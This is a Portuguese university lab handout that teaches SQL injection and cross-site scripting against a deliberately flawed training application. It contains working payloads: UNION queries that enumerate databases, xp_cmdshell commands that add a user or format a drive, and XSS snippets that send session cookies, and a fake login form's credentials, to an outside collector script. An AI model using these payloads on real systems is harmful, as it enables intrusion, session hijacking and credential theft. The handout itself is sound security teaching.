Aula 6: Vulnerabilidades Web Exploits of a Mom http://xkcd.com 1.1 Objectivos: Compreender duas vulnerabilidades encontradas em aplicações web: SQL Injection; Cross-site Scripting. Pensar sobre formas de evitar as vulnerabilidades. 1.2 Instruções: Open Web Application Security Project (OWASP): http://www.owasp.org/index.php/main_page SQL Injection Walkthrough: http://www.securiteam.com/securityreviews/5dp0n1p76e.html Advanced SQL Injection In SQL Server Applications: http://www.nextgenss.com/papers/advanced_sql_injection.pdf 1.2.1 SQL Injection 1 SQL Injection on Wikipedia: http://en.wikipedia.org/wiki/sql_injection How to exploit the SQL Injection Attack (Example App) http://sqlzoo.net/hack/index.html A empresa Fabrikam Lda desenvolveu uma nova funcionalidade de pesquisa de produtos na sua página. No entanto a sua implementação é bastante deficiente. Vamos explorar essas deficiencias para conduzir um ataque conhecido como SQL Injection. 1 Adaptado de http://channel9.msdn.com/wiki/default.aspx/securitywiki.inputvalidationtrainingmodules 1/4
1. Começe por abrir um browser no endereço http://193.136.60.49:6789/sql/ e utilize a aplicação para procurar produtos. 2. Imagine como poderá ser o código mais simples que executa esta consulta. Escreva uma possível consulta SQL, assumindo que o texto a procurar se encontra numa variável chamada DATA e é simplesmente concatenado à cadeira de caracteres que constitui a consulta. (dica: select <cola>, <colb> from <Tabela> where <colb> like %DATA% order by <cola>;) 3. Utilizando a resposta anterior, imagine uma forma de fazer a consulta devolver todos os registos. (dica: select <cola>, <colb> from <Tabela> where <colb> like %DATA% OR 1=1; -- order by <cola>;) A partir do momento que tiver realizado este passo com sucesso, encontra-se em posição de efectivamente enviar qualquer tipo de comando SQL para ser executado! 4. Descobrir informação sobre a base de dados: a. Podemos utilizar a clausula UNION para adicionar linhas à consulta SQL. Nessas linhas retornamos a informação que pretendemos. Alguns exemplos: i. UNION select null,name,null from sys.databases; (Utilizamos null para fazer com que o número de colunas da consulta adicionada seja igual ao nº de colunas da consulta original. Neste caso devolvemos o nome das bases de dados na terceira coluna, através de uma consulta à tabela de sistema sys.databases). ii. UNION select null, table_name, null from <BaseDeDados>.information_schema.tables; iii. UNION select null, column_name, null from <BaseDeDados>.information_schema.columns where table_name='<tabela>'; iv. UNION select null,<cola>+', '+<ColB>+', '+< >,null from <Table>; 5. Introduzir informação na Base de Dados: a. update <Tabela> set <ColA>=<Valor> where <ColB>=<Valor>; 6. Dependendo da configuração e do servidor de base de dados, temos uma variedade de opções. Apenas alguns exemplos possíveis (não funcionam neste caso particular): a. exec xp_cmdshell 'net user hacker P@ssw0rd /add' b. ' exec xp_cmdshell 'format c:' c.. 7. Que medidas poderiam tomar tanto o programador como o administrador deste sistema para prevenir este tipo de ataques? 2/4
1.2.2 Cross-site Scripting 2 Vulnerability Test Application: http://testasp.acunetix.com/ XSS on Wikipedia: http://en.wikipedia.org/wiki/cross_site_scripting Google XSS Example http://shiflett.org/blog/2005/dec/google-xss-example Real World XSS http://sandsprite.com/sleuth/papers/realworld_xss_2.html A empresa Fabrikam Lda permite que sejam afixadas mensagens públicas no seu site. As mensagens podem ser afixadas por utilizadores anónimos ou utilizadores autenticados. Infelizmente, o texto das mensagens não é adequadamente validado antes de ser apresentado aos utilizadores... 1. Abra o Internet Explorer no endereço http://193.136.60.49:6789/xss/ e utilize a aplicação para afixar e ver mensagens bem intencionadas : a. A implementação desta aplicação utiliza ASP.NET e foi muito simplificada; Temos duas configurações relevantes no ficheiro web.config: i. <pages validaterequest="false"/> ii. <authentication mode="forms"/> Se não souber, procure saber qual é o significado destas opções. b. A aplicação aceita como utilizador da aplicação válido qualquer login com a password dei. 2. Agora vamos tomar o papel de um atacante : a. Abra o endereço da aplicação. Verifique que não está ligado como um utilizador da aplicação (faça login utilizando a password dei ). b. Agora podemos construir uma mensagem para tirar partido de uma vulnerabilidade do tipo XSS. Alguns exemplos: i. <a href="x" onmouseover="javascript:alert('código javascript Executado!')">X</a> ii. <a href="x" onmouseover="javascript:alert('cookie='+document.cookie)">x</a> iii. <a href="x" onmouseover="javascript:document.location.replace('http://www.dei. isep.ipp.pt')">x</a> iv. %3C%61%20%68%72%65%66%3D%22%58%22%20%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%22%6A %61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F %6E%2E%72%65%70%6C%61%63%65%28%27%68%74%74%70%3A%2F%2F%77%77%77%2E%64%65%69%2E %69%73%65%70%2E%69%70%70%2E%70%74%2F%27%29%22%3E%58%3C%2F%61%3E v. <a href="x" onmouseover="javascript:document.location.replace('http://www.dei. isep.ipp.pt/~npereira/aulas/esegi/07/xss/rcv.php?cookie='+document.cookie)">x</a> vi. <br><br>please login with the form below before proceeding:<form action="http://www.dei.isep.ipp.pt/~npereira/aulas/esegi/07/xss/rcv.php"><table> <tr><td>login:</td><td><input type=text length=20 name=login></td></tr><tr><td>password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value=login></form> vii. <input type='button' value='change Personality!' onclick='changepersonality()'/> <script> function changepersonality() { var image = document.images[0] if (image.src.match('isep')) { image.src = 'art/fabrikam.gif'; } else { image.src = 'http://www.dei.isep.ipp.pt/~npereira/images/isep.jpg'; } } </script> 2 Adaptado de http://channel9.msdn.com/wiki/default.aspx/securitywiki.inputvalidationtrainingmodules 3/4
3. Agora tomamos novamente o papel de um utilizador legítimo: a. Faça login utilizando a password dei ; b. Leia a mensagem introduzida pelo atacante; c. Verifique o código da página. Conforme a mensagem que experimentou, poderá verificar que atacante conseguiu controlar totalmente o conteúdo da página; d. O atacante consegue também adquirir o cookie com informação sobre a sessão do utilizador. Isto poderá significar que o atacante consegue agir como se fosse o utilizador legítimo. Acha que este ataque seria prevenido por um canal de comunicação seguro? 4/4
http://en.wikipedia.org/wiki/cross_site_scripting http://www.cgisecurity.com/articles/xss-faq.shtml XSS vulnerabilities in Php-Nuke 6.x through 7.3: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2020 SQL injection vulnerability in index.php: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2020 Google XSS Example http://shiflett.org/blog/2005/dec/google-xss-example http://www.phy.duke.edu/~icon/work/clac/examples/inigo.php Real World XSS http://sandsprite.com/sleuth/papers/realworld_xss_2.html http://www.elated.com/articles/javascript-and-cookies/ 1.3 Questões: 5/4